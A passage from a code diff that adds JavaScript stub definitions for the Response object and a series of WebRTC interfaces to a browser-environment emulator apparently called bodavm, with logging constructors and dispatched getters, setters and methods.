true, + value: function arrayBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "arrayBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "blob", { + configurable: true, + enumerable: true, + writable: true, + value: function blob() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "blob", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "clone", { + configurable: true, + enumerable: true, + writable: true, + value: function clone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "clone", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "formData", { + configurable: true, + enumerable: true, + writable: true, + value: function formData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "formData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "json", { + configurable: true, + enumerable: true, + writable: true, + value: function json() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "json", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "text", { + configurable: true, + enumerable: true, + writable: true, + value: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "text", arguments); + } +}, 'prototype'); +// RTCCertificate对象 + +bodavm.memory.globalobj['RTCCertificate'] = function RTCCertificate() { + console.log_copy('RTCCertificate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCCertificate)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCCertificate'], "RTCCertificate"); +bodavm.toolsFunc.defineProperty('RTCCertificate', "expires", { + configurable: true, + enumerable: true, + get: function expires() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCCertificate'].prototype, "RTCCertificate", "expires_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCCertificate', "getFingerprints", { + configurable: true, + enumerable: true, + writable: true, + value: function getFingerprints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCCertificate'].prototype, "RTCCertificate", "getFingerprints", arguments); + } +}, 'prototype'); +// RTCDataChannelEvent对象 + +bodavm.memory.globalobj['RTCDataChannelEvent'] = function RTCDataChannelEvent() { + console.log_copy('RTCDataChannelEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCDataChannelEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCDataChannelEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDataChannelEvent'], "RTCDataChannelEvent"); +bodavm.memory.globalobj['RTCDataChannelEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['RTCDataChannelEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('RTCDataChannelEvent', "channel", { + configurable: true, + enumerable: true, + get: function channel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannelEvent'].prototype, "RTCDataChannelEvent", "channel_get", arguments); + }, + set: undefined +}, 'prototype'); +// RTCDtlsTransport对象 + +bodavm.memory.globalobj['RTCDtlsTransport'] = function RTCDtlsTransport() { + console.log_copy('RTCDtlsTransport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCDtlsTransport)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDtlsTransport'], "RTCDtlsTransport"); +bodavm.memory.globalobj['RTCDtlsTransport'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCDtlsTransport'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "iceTransport", { + configurable: true, + enumerable: true, + get: function iceTransport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "iceTransport_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "getRemoteCertificates", { + configurable: true, + enumerable: true, + writable: true, + value: function getRemoteCertificates() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "getRemoteCertificates", arguments); + } +}, 'prototype'); +// RTCDTMFSender对象 + +bodavm.memory.globalobj['RTCDTMFSender'] = function RTCDTMFSender() { + console.log_copy('RTCDTMFSender 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCDTMFSender)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDTMFSender'], "RTCDTMFSender"); +bodavm.memory.globalobj['RTCDTMFSender'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCDTMFSender'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCDTMFSender', "ontonechange", { + configurable: true, + enumerable: true, + get: function ontonechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "ontonechange_get", arguments); + }, + set: function ontonechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "ontonechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDTMFSender', "canInsertDTMF", { + configurable: true, + enumerable: true, + get: function canInsertDTMF() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "canInsertDTMF_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDTMFSender', "toneBuffer", { + configurable: true, + enumerable: true, + get: function toneBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "toneBuffer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDTMFSender', "insertDTMF", { + configurable: true, + enumerable: true, + writable: true, + value: function insertDTMF() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "insertDTMF", arguments); + } +}, 'prototype'); +// RTCDTMFToneChangeEvent对象 + +bodavm.memory.globalobj['RTCDTMFToneChangeEvent'] = function RTCDTMFToneChangeEvent() { + console.log_copy('RTCDTMFToneChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCDTMFToneChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCDTMFToneChangeEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDTMFToneChangeEvent'], "RTCDTMFToneChangeEvent"); +bodavm.memory.globalobj['RTCDTMFToneChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['RTCDTMFToneChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('RTCDTMFToneChangeEvent', "tone", { + configurable: true, + enumerable: true, + get: function tone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFToneChangeEvent'].prototype, "RTCDTMFToneChangeEvent", "tone_get", arguments); + }, + set: undefined +}, 'prototype'); +// RTCEncodedAudioFrame对象 + +bodavm.memory.globalobj['RTCEncodedAudioFrame'] = function RTCEncodedAudioFrame() { + console.log_copy('RTCEncodedAudioFrame 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCEncodedAudioFrame)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCEncodedAudioFrame'], "RTCEncodedAudioFrame"); +bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "data_get", arguments); + }, + set: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "data_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "getMetadata", { + configurable: true, + enumerable: true, + writable: true, + value: function getMetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "getMetadata", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "toString", arguments); + } +}, 'prototype'); +// RTCEncodedVideoFrame对象 + +bodavm.memory.globalobj['RTCEncodedVideoFrame'] = function RTCEncodedVideoFrame() { + console.log_copy('RTCEncodedVideoFrame 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCEncodedVideoFrame)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCEncodedVideoFrame'], "RTCEncodedVideoFrame"); +bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "data_get", arguments); + }, + set: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "data_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "getMetadata", { + configurable: true, + enumerable: true, + writable: true, + value: function getMetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "getMetadata", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "toString", arguments); + } +}, 'prototype'); +// RTCError对象 + +bodavm.memory.globalobj['RTCError'] = function RTCError() { + console.log_copy('RTCError 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCError)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCError': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCError'], "RTCError"); +bodavm.memory.globalobj['RTCError'].prototype.__proto__ = bodavm.memory.globalobj['DOMException'].prototype; +bodavm.memory.globalobj['RTCError'].__proto__ = bodavm.memory.globalobj['DOMException']; +bodavm.toolsFunc.defineProperty('RTCError', "errorDetail", { + configurable: true, + enumerable: true, + get: function errorDetail() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "errorDetail_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCError', "sdpLineNumber", { + configurable: true, + enumerable: true, + get: function sdpLineNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "sdpLineNumber_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCError', "httpRequestStatusCode", { + configurable: true, + enumerable: true, + get: function httpRequestStatusCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "httpRequestStatusCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCError', "sctpCauseCode", { + configurable: true, + enumerable: true, + get: function sctpCauseCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "sctpCauseCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCError', "receivedAlert", { + configurable: true, + enumerable: true, + get: function receivedAlert() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "receivedAlert_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCError', "sentAlert", { + configurable: true, + enumerable: true, + get: function sentAlert() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "sentAlert_get", arguments); + }, + set: undefined +}, 'prototype'); +// RTCErrorEvent对象 + +bodavm.memory.globalobj['RTCErrorEvent'] = function RTCErrorEvent() { + console.log_copy('RTCErrorEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCErrorEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCErrorEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCErrorEvent'], "RTCErrorEvent"); +bodavm.memory.globalobj['RTCErrorEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['RTCErrorEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('RTCErrorEvent', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCErrorEvent'].prototype, "RTCErrorEvent", "error_get", arguments); + }, + set: undefined +}, 'prototype'); +// RTCIceCandidate对象 + +bodavm.memory.globalobj['RTCIceCandidate'] = function RTCIceCandidate() { + console.log_copy('RTCIceCandidate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCIceCandidate)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCIceCandidate': sdpMid and sdpMLineIndex are both null."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCIceCandidate'], "RTCIceCandidate"); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "candidate", { + configurable: true, + enumerable: true, + get: function candidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "candidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "sdpMid", { + configurable: true, + enumerable: true, + get: function sdpMid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "sdpMid_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "sdpMLineIndex", { + configurable: true, + enumerable: true, + get: function sdpMLineIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "sdpMLineIndex_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "foundation", { + configurable: true, + enumerable: true, + get: function foundation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "foundation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "component", { + configurable: true, + enumerable: true, + get: function component() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "component_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "priority", { + configurable: true, + enumerable: true, + get: function priority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "priority_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "address", { + configurable: true, + enumerable: true, + get: function address() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "address_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "protocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "port_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "tcpType", { + configurable: true, + enumerable: true, + get: function tcpType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "tcpType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "relatedAddress", { + configurable: true, + enumerable: true, + get: function relatedAddress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "relatedAddress_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "relatedPort", { + configurable: true, + enumerable: true, + get: function relatedPort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "relatedPort_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "usernameFragment", { + configurable: true, + enumerable: true, + get: function usernameFragment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "usernameFragment_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "toJSON", arguments); + } +}, 'prototype'); +// RTCIceTransport对象 + +bodavm.memory.globalobj['RTCIceTransport'] = function RTCIceTransport() { + console.log_copy('RTCIceTransport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCIceTransport)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCIceTransport'], "RTCIceTransport"); +bodavm.memory.globalobj['RTCIceTransport'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCIceTransport'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCIceTransport', "role", { + configurable: true, + enumerable: true, + get: function role() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "role_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "gatheringState", { + configurable: true, + enumerable: true, + get: function gatheringState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "gatheringState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "ongatheringstatechange", { + configurable: true, + enumerable: true, + get: function ongatheringstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "ongatheringstatechange_get", arguments); + }, + set: function ongatheringstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "ongatheringstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "onselectedcandidatepairchange", { + configurable: true, + enumerable: true, + get: function onselectedcandidatepairchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onselectedcandidatepairchange_get", arguments); + }, + set: function onselectedcandidatepairchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onselectedcandidatepairchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "getLocalCandidates", { + configurable: true, + enumerable: true, + writable: true, + value: function getLocalCandidates() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getLocalCandidates", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "getLocalParameters", { + configurable: true, + enumerable: true, + writable: true, + value: function getLocalParameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getLocalParameters", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "getRemoteCandidates", { + configurable: true, + enumerable: true, + writable: true, + value: function getRemoteCandidates() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getRemoteCandidates", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "getRemoteParameters", { + configurable: true, + enumerable: true, + writable: true, + value: function getRemoteParameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getRemoteParameters", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "getSelectedCandidatePair", { + configurable: true, + enumerable: true, + writable: true, + value: function getSelectedCandidatePair() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getSelectedCandidatePair", arguments); + } +}, 'prototype'); +// RTCPeerConnectionIceErrorEvent对象 + +bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'] = function RTCPeerConnectionIceErrorEvent() { + console.log_copy('RTCPeerConnectionIceErrorEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCPeerConnectionIceErrorEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCPeerConnectionIceErrorEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'], "RTCPeerConnectionIceErrorEvent"); +bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "address", { + configurable: true, + enumerable: true, + get: function address() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "address_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "port_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "hostCandidate", { + configurable: true, + enumerable: true, + get: function hostCandidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "hostCandidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "errorCode", { + configurable: true, + enumerable: true, + get: function errorCode() { + return bodavm.toolsFunc.dispatch(this, 